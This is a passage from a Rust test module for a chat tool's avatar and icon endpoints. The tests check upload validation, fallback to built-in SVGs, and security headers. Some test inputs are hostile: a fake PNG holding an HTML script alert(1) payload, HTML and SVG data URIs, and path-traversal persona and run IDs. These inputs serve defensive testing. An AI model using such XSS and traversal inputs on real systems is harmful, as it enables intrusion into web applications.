15216        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15217        conversation.completion_notices[0]
15218            .notice
15219            .push_str("different");
15220        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15221        assert!(view.talk.turns[0].messages.is_empty());
15222        assert!(view.talk.pending_messages.is_empty());
15223    }
15224
15225    #[tokio::test]
15226    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15227        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15228        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15229            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15230        ))
15231        .await;
15232        let path = avatar_setting_path(home.path(), Some("rei"));
15233        let orphan = avatar_setting_path(home.path(), Some("removed"));
15234        save_icon_file(&orphan, icon).unwrap();
15235        for (saved, expected) in [
15236            (icon, "custom"),
15237            ("builtin", "builtin"),
15238            ("data:image/png;base64,!!!!", "inherit"),
15239            ("data:image/png;base64,PGh0bWw+", "inherit"),
15240            ("/tmp/avatar.png", "inherit"),
15241        ] {
15242            atomic_icon_write(&path, saved).unwrap();
15243            let catalog =
15244                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15245                    .await
15246                    .unwrap()
15247                    .0;
15248            let personas = catalog["personas"].as_array().unwrap();
15249            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15250            assert_eq!(rei["override_state"], expected);
15251            assert_eq!(rei["has_config_icon"], true);
15252            assert_eq!(rei["is_orphan"], false);
15253            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15254            assert_eq!(removed["override_state"], "custom");
15255            assert_eq!(removed["is_orphan"], true);
15256            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15257            assert_eq!(default["override_state"], "inherit");
15258            assert_eq!(default["has_config_icon"], false);
15259            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15260            assert_eq!(
15261                effective.as_deref(),
15262                Some(if expected == "builtin" { "" } else { icon })
15263            );
15264        }
15265    }
15266
15267    #[tokio::test]
15268    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15269        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15270        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15271            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15272        ))
15273        .await;
15274        let target = |id: Option<&str>| AvatarSettingsQuery {
15275            persona: id.map(str::to_owned),
15276            ..Default::default()
15277        };
15278        let original_config = config_for(&repo).await.unwrap();
15279        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15280        let original_prompt = persona::section_for(&original_persona, None);
15281        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15282            .await
15283            .unwrap()
15284            .0;
15285        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15286            let _ = avatar_settings_put(
15287                State(ui.clone()),
15288                Query(target(persona)),
15289                Json(MagiIconUpload { icon: icon.into() }),
15290            )
15291            .await
15292            .unwrap();
15293            let path = avatar_setting_path(home.path(), persona);
15294            assert!(path.starts_with(home.path().join("avatars")));
15295            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15296            for bad in [
15297                "/tmp/image.png".to_owned(),
15298                "data:image/png;base64,!!!!".to_owned(),
15299                "data:image/png;base64,PGh0bWw+".to_owned(),
15300                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15301                format!(
15302                    "data:image/png;base64,{}",
15303                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15304                ),
15305            ] {
15306                assert!(
15307                    avatar_settings_put(
15308                        State(ui.clone()),
15309                        Query(target(persona)),
15310                        Json(MagiIconUpload { icon: bad })
15311                    )
15312                    .await
15313                    .is_err()
15314                );
15315                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15316            }
15317        }
15318        assert!(read_magi_icon(home.path()).is_none());
15319        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15320        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15321            .await
15322            .unwrap()
15323            .0;
15324        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15325        assert_ne!(
15326            before
15327                .personas
15328                .iter()
15329                .find(|p| p.id == "magi")
15330                .unwrap()
15331                .avatar,
15332            after
15333                .personas
15334                .iter()
15335                .find(|p| p.id == "magi")
15336                .unwrap()
15337                .avatar
15338        );
15339        let restarted = Arc::new(Ui::new(
15340            Queue::at(home.path().join("queue")),
15341            Questions::at(home.path().join("questions")),
15342            Talks::at(home.path().join("talks")),
15343            home.path().join("runs"),
15344            home.path().to_owned(),
15345            repo,
15346        ));
15347        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15348            .await
15349            .unwrap()
15350            .0;
15351        assert!(
15352            catalog["personas"]
15353                .as_array()
15354                .unwrap()
15355                .iter()
15356                .any(|p| p["id"] == "../custom/日本語")
15357        );
15358        for expected in ["custom", "default", "rei"] {
15359            assert!(
15360                catalog["personas"]
15361                    .as_array()
15362                    .unwrap()
15363                    .iter()
15364                    .any(|p| p["id"] == expected)
15365            );
15366        }
15367        let response =
15368            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15369        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15370        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15371            .await
15372            .unwrap();
15373        assert_eq!(
15374            effective_persona_icon(home.path(), "rei", Some(icon)),
15375            Some(String::new())
15376        );
15377        let response = talk_avatar(
15378            State(restarted.clone()),
15379            Path(id.clone()),
15380            Query(AvatarQuery {
15381                persona: Some("rei".into()),
15382                ..Default::default()
15383            }),
15384        )
15385        .await
15386        .unwrap();
15387        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15388        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15389            .await
15390            .unwrap()
15391            .0;
15392        assert_ne!(
15393            after
15394                .personas
15395                .iter()
15396                .find(|p| p.id == "rei")
15397                .unwrap()
15398                .avatar,
15399            reset
15400                .personas
15401                .iter()
15402                .find(|p| p.id == "rei")
15403                .unwrap()
15404                .avatar
15405        );
15406        let mut inherit = target(Some("rei"));
15407        inherit.inherit = Some("1".into());
15408        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15409            .await
15410            .unwrap();
15411        assert_eq!(
15412            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15413            Some(icon)
15414        );
15415        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15416            .await
15417            .unwrap();
15418        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15419        assert_eq!(
15420            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15421            Some(icon)
15422        );
15423        // Display changes never rewrite the conversation or its prompt-bearing config.
15424        let cfg = config_for(&ui.repo).await.unwrap();
15425        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15426        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15427        assert!(!original_prompt.contains("data:image"));
15428        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15429        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15430        assert!(!stored.contains("data:image"));
15431        let mut orphan = ui.talks.get(&id).unwrap();
15432        orphan.persona = "../custom/日本語".into();
15433        let view = TalkView::with_config(
15434            orphan,
15435            false,
15436            Some(&cfg),
15437            home.path(),
15438            &id_links::IndexCache::default(),
15439        );
15440        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15441    }
15442
15443    #[tokio::test]
15444    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15445        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15446        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15447        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15448        let _ = magi_icon_put(
15449            State(ui.clone()),
15450            Json(MagiIconUpload { icon: icon.into() }),
15451        )
15452        .await
15453        .unwrap();
15454        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15455        assert_ne!(original, changed);
15456        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15457        let response = magi_avatar(
15458            State(ui.clone()),
15459            Query(AvatarQuery {
15460                persona: None,
15461                builtin: None,
15462            }),
15463        )
15464        .await;
15465        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15466        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15467        assert_eq!(
15468            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15469            "nosniff"
15470        );
15471        for bad in [
15472            "data:image/png;base64,PGh0bWw+".to_owned(),
15473            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15474            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15475        ] {
15476            assert!(save_magi_icon(home.path(), &bad).is_err());
15477            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15478        }
15479        // Re-opened server state reads the same independent home file.
15480        let restarted = Arc::new(Ui::new(
15481            Queue::at(home.path().join("queue")),
15482            Questions::at(home.path().join("questions")),
15483            Talks::at(home.path().join("talks")),
15484            home.path().join("runs"),
15485            home.path().to_path_buf(),
15486            repo,
15487        ));
15488        assert_eq!(
15489            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15490            changed
15491        );
15492        let view = TalkView::with_config(
15493            restarted.talks.get(&id).unwrap(),
15494            false,
15495            None,
15496            &restarted.home,
15497            &restarted.references,
15498        );
15499        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15500        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15501        let response = magi_avatar(
15502            State(ui.clone()),
15503            Query(AvatarQuery {
15504                persona: None,
15505                builtin: None,
15506            }),
15507        )
15508        .await;
15509        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15510            .await
15511            .unwrap();
15512        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15513        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15514        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15515        let _ = magi_icon_delete(State(ui)).await.unwrap();
15516    }
15517
15518    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15519    async fn avatar(
15520        ui: &Arc<Ui>,
15521        id: &str,
15522        persona: Option<&str>,
15523        builtin: bool,
15524    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15525        let res = talk_avatar(
15526            State(Arc::clone(ui)),
15527            Path(id.to_owned()),
15528            Query(AvatarQuery {
15529                persona: persona.map(str::to_owned),
15530                builtin: builtin.then(|| "1".to_owned()),
15531            }),
15532        )
15533        .await
15534        .expect("an avatar is never an error response");
15535        let h = res.headers();
15536        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15537        let nosniff = h
15538            .get(header::X_CONTENT_TYPE_OPTIONS)
15539            .is_some_and(|v| v == "nosniff");
15540        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15541        let status = res.status();
15542        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15543            .await
15544            .expect("body")
15545            .to_vec();
15546        (status, ct, nosniff, csp, body)
15547    }
15548
15549    fn tiny_png() -> Vec<u8> {
15550        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15551        b.extend_from_slice(&[0u8; 32]);
15552        b
15553    }
15554
15555    #[tokio::test]
15556    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15557        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15558        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15559        assert_eq!(res.status(), StatusCode::OK);
15560        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15561        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15562        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15563        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15564        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15565            .await
15566            .unwrap();
15567        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15568        assert_ne!(
15569            persona_icon::operator_svg(),
15570            persona_icon::builtin_svg("default")
15571        );
15572    }
15573
15574    #[tokio::test]
15575    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15576        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15577        for p in [
15578            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15579        ] {
15580            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15581            assert_eq!(status, StatusCode::OK, "{p}");
15582            assert_eq!(ct, "image/svg+xml", "{p}");
15583            assert!(nosniff && csp, "{p}");
15584            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15585        }
15586        // No `persona` means the conversation's own; unknown ones fall back.
15587        let own = avatar(&ui, &id, None, false).await;
15588        let default = avatar(&ui, &id, Some("default"), false).await;
15589        assert_eq!(own.4, default.4);
15590        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15591        assert_eq!(unknown.1, "image/svg+xml");
15592    }
15593
15594    #[tokio::test]
15595    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15596        let dir = TempDir::new().expect("icons");
15597        let good = dir.path().join("good.png");
15598        std::fs::write(&good, tiny_png()).unwrap();
15599        let spoof = dir.path().join("spoof.png");
15600        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15601        let big = dir.path().join("big.png");
15602        let mut bytes = tiny_png();
15603        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15604        std::fs::write(&big, bytes).unwrap();
15605        let missing = dir.path().join("missing.png");
15606        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15607        let extra = format!(
15608            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15609             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15610             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15611             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15612             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15613             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15614            uri(&good),
15615            uri(&spoof),
15616            uri(&big),
15617            uri(&missing),
15618        );
15619        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15620
15621        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15622        assert_eq!(
15623            (status, ct.as_str(), nosniff),
15624            (StatusCode::OK, "image/png", true)
15625        );
15626        assert_eq!(body, tiny_png());
15627        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15628        assert_eq!(ct, "image/png", "data URI");
15629
15630        for p in ["misato", "asuka", "shinji", "magi"] {
15631            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15632            assert_eq!(
15633                (status, ct.as_str(), csp),
15634                (StatusCode::OK, "image/svg+xml", true),
15635                "{p}"
15636            );
15637            assert!(body.starts_with(b"<svg"), "{p}");
15638        }
15639        // The page's own retry skips the icon.
15640        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15641        assert_eq!(ct, "image/svg+xml");
15642    }
15643
15644    #[tokio::test]
15645    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15646        let oversized = format!(
15647            "data:image/png;base64,{}",
15648            "A".repeat(persona_icon::ICON_MAX_BYTES)
15649        );
15650        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15651            let extra = format!(
15652                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15653            );
15654            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15655            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15656                .await
15657                .expect("detail with invalid icon");
15658            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15659            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15660            assert_eq!(status, StatusCode::OK);
15661            assert_eq!(ct, "image/svg+xml");
15662            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15663            let Json(view) = talk_persona(
15664                State(Arc::clone(&ui)),
15665                Path(id.clone()),
15666                Json(TalkPersona {
15667                    persona: "custom".into(),
15668                }),
15669            )
15670            .await
15671            .expect("persona switch with invalid icon");
15672            assert_eq!(view.talk.persona, "custom");
15673            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15674        }
15675    }
15676
15677    #[tokio::test]
15678    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15679        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15680        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15681        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15682        assert_eq!(
15683            (status, ct.as_str(), nosniff, csp),
15684            (StatusCode::OK, "image/svg+xml", true, true)
15685        );
15686    }
15687
15688    #[tokio::test]
15689    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15690        let (_t, _h, ui, id, _repo) =
15691            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15692        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15693            .await
15694            .expect("detail");
15695        let json = serde_json::to_string(&detail).unwrap();
15696        assert!(
15697            !json.contains("secret"),
15698            "the icon setting must not leak: {json}"
15699        );
15700        assert!(
15701            detail
15702                .view
15703                .persona_avatar
15704                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15705        );
15706        assert_eq!(
15707            detail.view.operator_avatar,
15708            format!(
15709                "/avatars/operator.svg?v={}",
15710                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15711            )
15712        );
15713        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15714        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15715        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15716        assert!(rei.avatar.contains("persona=rei&v="));
15717        assert_ne!(
15718            rei.avatar.split("&v=").nth(1),
15719            plain.avatar.split("&v=").nth(1)
15720        );
15721    }
15722
15723    #[tokio::test]
15724    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15725        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15726        let cfg = config_for(&repo).await.unwrap();
15727        for arrived in [false, true] {
15728            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15729            let observed = ui.queued_generation(&id);
15730            let talk = ui.talks.get(&id).unwrap();
15731            if arrived {
15732                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15733            }
15734            let mut settling = std::pin::pin!(settle_settings_turn(
15735                talk,
15736                ui.talks.clone(),
15737                cfg.clone(),
15738                id.clone(),
15739                turn,
15740                observed
15741            ));
15742            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15743            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15744            assert_eq!(first.is_pending(), arrived);
15745            if arrived {
15746                assert!(!settling.await);
15747            }
15748            assert!(!ui.is_thinking(&id));
15749        }
15750    }
15751
15752    #[tokio::test]
15753    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15754        let tmp = TempDir::new().expect("tempdir");
15755        let repo = tmp.path().join("repo");
15756        std::fs::create_dir_all(&repo).expect("repo dir");
15757        std::fs::write(
15758            repo.join("magi.toml"),
15759            format!(
15760                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15761            ),
15762        )
15763        .expect("write magi.toml");
15764        let home = TempDir::new().expect("temp home");
15765        let talks = Talks::at(home.path().join("talks"));
15766        let ui = Arc::new(
15767            Ui::new(
15768                Queue::at(home.path().join("queue")),
15769                Questions::at(home.path().join("questions")),
15770                talks.clone(),
15771                home.path().join("runs"),
15772                home.path().to_path_buf(),
15773                repo.clone(),
15774            )
15775            .with_worktrees_root(home.path().join("wt")),
15776        );
15777        let cfg = config_for(&repo).await.expect("discover config");
15778        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15779        let id = talk.id.clone();
15780        let call = |persona: &str| {
15781            talk_persona(
15782                State(Arc::clone(&ui)),
15783                Path(id.clone()),
15784                Json(TalkPersona {
15785                    persona: persona.to_owned(),
15786                }),
15787            )
15788        };
15789
15790        let unknown = call("nobody").await.expect_err("unknown persona");
15791        assert_eq!(
15792            unknown.status,
15793            StatusCode::BAD_REQUEST,
15794            "{}",
15795            unknown.message
15796        );
15797
15798        {
15799            // Nothing refused so far took a claim, so the guard is free to take
15800            // and holding it is what makes the talk busy.
15801            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15802            let busy = call("rei").await.expect_err("busy talk");
15803            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15804            assert!(
15805                busy.message.contains("a talk turn is running"),
15806                "{}",
15807                busy.message
15808            );
15809            drop(guard);
15810        }
15811        assert_eq!(talks.get(&id).expect("reload").persona, "");
15812
15813        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15814        assert_eq!(view.talk.persona, "gendo");
15815        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15816        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15817        // No intervening I/O or sleep may be needed before another change.
15818        for chosen in ["default", "gendo", "rei", "gendo"] {
15819            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15820            assert!(!view.thinking);
15821            assert!(!ui.is_thinking(&id));
15822        }
15823
15824        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15825            .await
15826            .expect("detail");
15827        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15828        assert_eq!(ids.first(), Some(&"default"));
15829        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15830
15831        let Json(view) = call("default").await.expect("back to default");
15832        assert_eq!(view.talk.persona, "");
15833
15834        let mut closed = talks.get(&id).expect("reload");
15835        talk::close(&mut closed, &talks).expect("close");
15836        let refused = call("rei").await.expect_err("closed talk");
15837        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15838        assert!(
15839            refused.message.contains("takes no more turns"),
15840            "{}",
15841            refused.message
15842        );
15843    }
15844
15845    #[tokio::test]
15846    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15847        let f = Fixture::start().await;
15848        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15849        let queue = f.queue();
15850        let mut mine = Task::new(
15851            "rename the loader".to_owned(),
15852            "rename the loader".to_owned(),
15853            PathBuf::from("/repo/magi"),
15854            Source::Agent {
15855                run: talk_id.clone(),
15856                node: "chat".to_owned(),
15857            },
15858        );
15859        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15860        assert_eq!(empty["task_progress"]["state"], "none");
15861        assert_eq!(empty["task_progress"]["total"], 0);
15862        queue.put(&mut mine).expect("file the task");
15863        let mut theirs = Task::new(
15864            "unrelated".to_owned(),
15865            "unrelated".to_owned(),
15866            PathBuf::from("/repo/magi"),
15867            Source::Human,
15868        );
15869        // A later task linked through origin_chat alone is outside this list.
15870        theirs.origin_chat = Some(talk_id.clone());
15871        queue.put(&mut theirs).expect("file the task");
15872
15873        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15874        assert_eq!(res.status, 200, "{}", res.body);
15875        let body = res.json();
15876        assert_eq!(
15877            body["status"], "open",
15878            "filing a task does not close a talk"
15879        );
15880        let tasks = body["tasks"].as_array().expect("tasks array");
15881        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15882        assert_eq!(tasks[0]["id"], mine.id);
15883        for status in [
15884            TaskStatus::Queued,
15885            TaskStatus::Running,
15886            TaskStatus::Held,
15887            TaskStatus::Failed,
15888            TaskStatus::Blocked,
15889            TaskStatus::Parked,
15890            TaskStatus::Done,
15891            TaskStatus::Queued,
15892        ] {
15893            mine.status = status;
15894            queue.put(&mut mine).expect("update status");
15895            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15896            let progress = &detail["task_progress"];
15897            assert_eq!(progress["total"], 1);
15898            assert_eq!(progress["counts"][status.as_str()], 1);
15899            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15900            assert_eq!(detail["status"], "open", "completion never closes the chat");
15901            if status == TaskStatus::Done {
15902                assert_eq!(progress["state"], "complete");
15903                assert_eq!(progress["done"], 1);
15904                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15905            } else {
15906                assert_eq!(progress["state"], "incomplete");
15907                assert_eq!(progress["done"], 0);
15908                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15909            }
15910        }
15911    }
15912
15913    #[test]
15914    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15915        let home = tempfile::tempdir().unwrap();
15916        let runs = home.path().join("runs");
15917        let queue = Queue::at(home.path().join("queue"));
15918        let talks = Talks::at(home.path().join("talks"));
15919        let config = stub_config();
15920        let repo = PathBuf::from("/repo/magi");
15921        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15922        let reserve_run = |repo| {
15923            let mut run = RunState::new(
15924                repo,
15925                "main".into(),
15926                "0000000".into(),
15927                "Follow the review".into(),
15928                config.clone(),
15929            );
15930            run.reserve_under(home.path()).unwrap();
15931            run
15932        };
15933        let older = reserve_run(repo.clone());
15934        let newer = reserve_run(repo.clone());
15935        let foreign = reserve_run(PathBuf::from("/repo/other"));
15936        let mismatched = reserve_run(repo.clone());
15937        let corrupt = reserve_run(repo.clone());
15938        let run_file = |id: &str| runs.join(id).join("run.json");
15939        std::fs::write(
15940            run_file(&mismatched.id),
15941            serde_json::to_vec(&older).unwrap(),
15942        )
15943        .unwrap();
15944        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15945        let goal = |tasks: Vec<String>, runs: Vec<String>| {
15946            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15947                "id": "g", "purpose": "Follow the review", "scope": "review",
15948                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15949                "state": "waiting", "step": "Follow the recorded review",
15950                "source_turn": 0, "owner_input": "Follow the review",
15951                "tasks": tasks, "runs": runs, "watches": [],
15952                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15953                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15954            }))
15955            .unwrap()
15956        };
15957        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15958
15959        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15960        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15961
15962        let unusable = vec![
15963            foreign.id.clone(),
15964            mismatched.id.clone(),
15965            corrupt.id.clone(),
15966            "missing".into(),
15967            "../escape".into(),
15968        ];
15969        let mut references = vec![older.id.clone()];
15970        references.extend(unusable.clone());
15971        talk.goals = vec![goal(vec![], references)];
15972        assert_eq!(link(&talk), Some(("run", older.id.clone())));
15973
15974        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15975        assert_eq!(link(&talk), None);
15976
15977        let mut task = Task::new(
15978            "Review".into(),
15979            "Follow the review".into(),
15980            repo,
15981            Source::Human,
15982        );
15983        queue.put(&mut task).unwrap();
15984        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15985        assert_eq!(link(&talk), Some(("task", task.id.clone())));
15986
15987        task.runs.push(older.id.clone());
15988        queue.put(&mut task).unwrap();
15989        assert_eq!(link(&talk), Some(("run", older.id)));
15990    }
15991
15992    #[test]
15993    fn talk_task_progress_counts_mixed_statuses() {
15994        let mut tasks: Vec<_> = [
15995            TaskStatus::Queued,
15996            TaskStatus::Running,
15997            TaskStatus::Held,
15998            TaskStatus::Failed,
15999            TaskStatus::Blocked,
16000            TaskStatus::Parked,
16001            TaskStatus::Done,
16002        ]
16003        .into_iter()
16004        .map(|status| {
16005            let mut task = Task::new(
16006                "task".into(),
16007                "task".into(),
16008                PathBuf::from("/repo"),
16009                Source::Human,
16010            );
16011            task.status = status;
16012            task
16013        })
16014        .collect();
16015        let progress = talk_task_progress(&tasks);
16016        assert_eq!(progress.state, "incomplete");
16017        assert_eq!(progress.total, 7);
16018        assert_eq!(progress.done, 1);
16019        assert_eq!(progress.unfinished_ids.len(), 6);
16020        assert!(progress.counts.values().all(|count| *count == 1));
16021        assert_eq!(
16022            progress.unfinished_ids,
16023            tasks[..6]
16024                .iter()
16025                .map(|task| task.id.clone())
16026                .collect::<Vec<_>>()
16027        );
16028
16029        for task in &mut tasks {
16030            task.status = TaskStatus::Done;
16031        }
16032        let complete = talk_task_progress(&tasks);
16033        assert_eq!(complete.state, "complete");
16034        assert_eq!(complete.done, 7);
16035        assert!(complete.unfinished_ids.is_empty());
16036        tasks[0].status = TaskStatus::Queued;
16037        let requeued = talk_task_progress(&tasks);
16038        assert_eq!(requeued.state, "incomplete");
16039        assert_eq!(requeued.done, 6);
16040        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16041
